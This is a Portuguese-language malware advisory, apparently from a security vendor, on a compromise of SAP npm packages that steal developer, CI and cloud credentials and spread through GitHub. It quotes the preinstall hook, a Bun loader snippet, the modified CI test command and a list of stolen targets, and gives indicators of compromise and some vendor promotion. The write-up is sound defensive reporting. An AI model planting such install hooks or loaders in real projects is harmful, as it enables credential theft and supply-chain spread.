Um novo comprometimento da cadeia de suprimentos npm está visando o ecossistema de desenvolvedores SAP.
Os pacotes afetados que estamos rastreando até agora são:
@cap-js/sqlite - v2.2.2@cap-js/postgres - v2.2.2@cap-js/db-service - v2.10.1mbt@1.2.48
O padrão é familiar, mas também um pouco diferente: um pacote confiável recebe um novo preinstall hook, o hook executa um novo setup.mjs arquivo, e esse carregador baixa o runtime Bun JavaScript para executar um grande payload ofuscado chamado execution.js.
O payload é uma estrutura de roubo de credenciais e propagação de 11,7 MB. Ele coleta credenciais de desenvolvedor locais, tokens do GitHub e npm, Secrets do GitHub Actions e Cloud Secrets da AWS, Azure, GCP e Kubernetes. Em seguida, ele exfiltra os resultados criptografados através de repositórios públicos do GitHub.
O malware nomeia esses repositórios com uma descrição hardcoded:
Um Mini Shai-Hulud Apareceu
O Que Aconteceu
Os pacotes comprometidos usam a execução do ciclo de vida do npm. Pelo que vimos até agora, package.json foi modificado para adicionar:
"scripts": {
"preinstall": "node setup.mjs"
}Isso significa que o código malicioso executa automaticamente durante npm install, antes mesmo da instalação ser concluída.
O pacote malicioso adiciona dois arquivos:
setup.mjsexecution.js
O código normal do pacote ainda se parece com o pacote SAP legítimo. Na @cap-js/sqlite@2.2.2 amostra, os arquivos comuns correspondem a arquivos limpos @cap-js/sqlite@2.2.1 byte a byte. O comprometimento é o hook de instalação mais os arquivos de payload adicionados.
Provável Ponto de Entrada
Uma pista pública aponta para uma causa provável: um token npm exposto a builds de pull request via CircleCI.
Isso está de acordo com o que encontramos em SAP/cloud-mta-build-tool. Em 29 de abril, um PR de rascunho de curta duração intitulado feat: aceleração do CI foi aberto de gruposbftechrecruiter/harkonnen-navigator-149. O PR foi fechado em minutos e o branch foi posteriormente forçado (force-pushed), deixando o diff atual do GitHub vazio.
CircleCI ainda manteve a parte importante. Uma build de PR em pull/1223 fez checkout do commit a959014aa7b7fc37a9b5730c951776e7db2920a6, que adicionou um loader Bun em bin/config.mjs, adicionou um payload ofuscado em bin/mbt.js, e alterou o comando de teste para:
node ./bin/config.mjs && node ./bin/mbtEsse teste foi executado em um job de PR onde o CircleCI listou Secrets de projeto redigidos, incluindo CLOUD_MTA_BOT_NPM_TOKEN, CLOUD_MTA_BOT_GITHUB_TOKEN, tokens OIDC do CircleCI, credenciais do Docker Hub, credenciais do Cloud Foundry e outras variáveis relacionadas ao release.
Os logs também mostraram avisos do Octokit para POST https://api.github.com/user/repos, o que corresponde ao comportamento de exfiltração de GitHub do malware.
Isso torna a build de PR do CircleCI a pista mais forte para o roubo inicial de credenciais.
Como o Malware Executa
A primeira etapa, setup.mjs, é um bootstrapper Bun. Ele verifica o sistema operacional e a arquitetura, baixa o Bun 1.3.13 do GitHub quando necessário, extrai o binário e usa o Bun para executar execution.js.
const BUN_VERSION = '1.3.13';
const ENTRY_SCRIPT = 'execution.js';
const url = `https://github.com/oven-sh/bun/releases/download/bun-v${BUN_VERSION}/${asset}.zip`;
execFileSync(binPath, [entryScriptPath], { stdio: 'inherit', cwd: SCRIPT_DIR });A segunda etapa, execution.js, é um único e grande payload ofuscado. Ele usa uma camada personalizada de embaralhamento de strings rotulada ctf-scramble-v2, verifica se está sendo executado em CI, sai em configurações de localidade russa e se torna um daemon em máquinas que não são CI.
O Que Ele Rouba
O payload é projetado para atingir tanto laptops de desenvolvedores quanto runners de CI/CD.
Ele tenta coletar:
- Tokens do GitHub, incluindo saída de
gh auth token - Tokens npm de
.npmrc - variáveis de ambiente
- Secrets do GitHub Actions
- Identidade AWS STS, Secrets do Secrets Manager e parâmetros SSM
- Assinaturas Azure, nomes de Key Vault e valores de Secrets do Key Vault
- Identidade de projeto GCP e valores de Secrets do Secret Manager
- Tokens de conta de serviço Kubernetes
- Config do Claude, config do MCP, bancos de dados de tokens GCP, caches de tokens Azure, config do Signal, carteiras Electrum e arquivos de configuração VPN
O caminho do GitHub Actions é especialmente preocupante. O payload inclui um auxiliar Python embarcado que busca /proc pelo Runner.Worker processo, lê sua memória e extrai estruturas de Secrets mascaradas do runner.
Exfiltração GitHub e Palavra-chave de Propagação
O malware usa o GitHub como seu canal de exfiltração.
A nova palavra-chave de propagação é:
OhNoWhatsGoingOnWithGitHubO malware busca por esta string em commits do GitHub e usa mensagens de commit correspondentes como um dead-drop de token. Mensagens de commit que correspondem a OhNoWhatsGoingOnWithGitHub:<base64> são decodificadas em tokens do GitHub e verificadas quanto ao acesso ao repositório.
Quando o malware consegue criar um repositório, ele usa nomes aleatórios com tema Dune, define a descrição do repositório como:
Um Mini Shai-Hulud Apareceue escreve arquivos de resultado criptografados em:
results/results-<timestamp>-<counter>.jsonOs dados são compactados e criptografados antes do commit usando AES-256-GCM, com a chave AES encapsulada por uma chave pública RSA embarcada.

Lógica de Propagação
O payload contém lógica para se espalhar por fluxos de trabalho de desenvolvedores e de lançamento.
Nas amostras analisadas, o malware verifica a automação de lançamento do GitHub Actions relacionada a cap-js/cds-dbs. Se ele encontrar um fluxo de trabalho de lançamento nesse contexto de repositório, ele pode modificar um tarball de pacote por meio de:
- copiando o payload atual para
execution.js - escrevendo
setup.mjs - configuração
scripts.preinstall = "node setup.mjs" - incrementando a versão de patch
- reempacotando o tarball
Ele também tenta usar tokens roubados do GitHub Actions para enviar arquivos para repositórios:
.vscode/tasks.json.vscode/setup.mjs.claude/execution.js.claude/setup.mjs.claude/settings.json
Esses commits usam:
chore: atualizar dependênciascom o autor:
claude <claude@users.noreply.github.com>SAP Como Alvo
Os pacotes alvo estão inseridos nos fluxos de trabalho de desenvolvimento SAP normais. @cap-js/sqlite, @cap-js/postgres, e @cap-js/db-service fazem parte do ecossistema de banco de dados SAP CAP, enquanto mbt é utilizado em fluxos de trabalho de build SAP Cloud MTA.
Isso torna esta campanha pequena em número de pacotes, mas com potencial de alto impacto. Esses pacotes provavelmente serão executados em máquinas de desenvolvedores e runners de CI que têm acesso a GitHub, npm, credenciais de Cloud e Secrets de implantação corporativa.
Detecção e Mitigação
Pesquisar arquivos de lock, caches de pacotes, logs de CI, registros internos, repositórios de artefatos e máquinas de desenvolvedores por:
@cap-js/sqlite - v2.2.2@cap-js/postgres - v2.2.2@cap-js/db-service - v2.10.1mbt@1.2.48setup.mjsexecution.jspreinstallscripts em execuçãonode setup.mjs- Bun
1.3.13downloads durante a instalação de pacotes
Pesquisar no GitHub por:
- resultados de busca de commits por
OhNoWhatsGoingOnWithGitHub:https://github.com/search?q=OhNoWhatsGoingOnWithGitHub&type=commits - repositórios com descrição
Um Mini Shai-Hulud Apareceu - commits contendo
OhNoWhatsGoingOnWithGitHub - commits intitulados
chore: atualizar dependências - commits de autoria de
claude <claude@users.noreply.github.com> - inesperado
.claude/ou.vscode/setup.mjsfiles results/results-*.jsonarquivos em repositórios públicos recém-criados
Se algum pacote afetado foi instalado, rotacione os Secrets. Não limite a rotação a tokens npm. O payload visa GitHub, npm, provedores Cloud, Kubernetes, Secrets de CI e ferramentas de desenvolvimento locais.
Como o Aikido detecta isso
Se você é um usuário Aikido, verifique seu feed central e filtre por problemas de malware. Isso aparecerá como um problema crítico 100/100. O Aikido reanalisa todas as noites, mas recomendamos acionar uma reanálise manual agora.
Se você ainda não é um usuário Aikido, pode criar uma conta e conectar seus repositórios. Nossa cobertura de malware está incluída no plano gratuito, não é necessário cartão de crédito.
Para uma cobertura mais ampla em toda a sua equipe, o Endpoint Protection do Aikido oferece visibilidade e controle sobre os pacotes de software instalados nos dispositivos da sua equipe. Ele abrange extensões de navegador, bibliotecas de código, plugins de IDE e dependências de build, tudo em um só lugar. Impeça o malware antes que ele seja instalado.
Para proteção futura, considere Aikido Safe Chain (open source). O Safe Chain se integra ao seu fluxo de trabalho existente, interceptando comandos npm, npx, yarn, pnpm e pnpx e verificando pacotes contra Aikido Intel antes da instalação.
Indicadores de Comprometimento
Pacotes afetados:
@cap-js/sqlite - v2.2.2@cap-js/postgres - v2.2.2@cap-js/db-service - v2.10.1mbt@1.2.48
Hashes do analisado @cap-js/sqlite@2.2.2 amostra:
setup.mjs:4066781fa830224c8bbcc3aa005a396657f9c8f9016f9a64ad44a9d7f5f45e34execution.js:6f933d00b7d05678eb43c90963a80b8947c4ae6830182f89df31da9f568fea95- memory dumper do GitHub runner embutido:
29ac906c8bd801dfe1cb39596197df49f80fff2270b3e7fbab52278c24e4f1a7
Strings e marcadores:
Um Mini Shai-Hulud ApareceuOhNoWhatsGoingOnWithGitHub(palavra-chave de propagação / GitHub commit dead-drop marker)ctf-scramble-v2tmp.987654321.lockchore: atualizar dependênciasclaude@users.noreply.github.com
URLs e endpoints:
hxxps://github[.]com/oven-sh/bun/releases/download/bun-v1.3.13/hxxps://api.github[.]com/search/commits?q=OhNoWhatsGoingOnWithGitHub&sort=author-date&order=desc&per_page=50hxxp://169.254.169.254hxxp://169.254.170.2hxxp://[fd00:ec2::254]

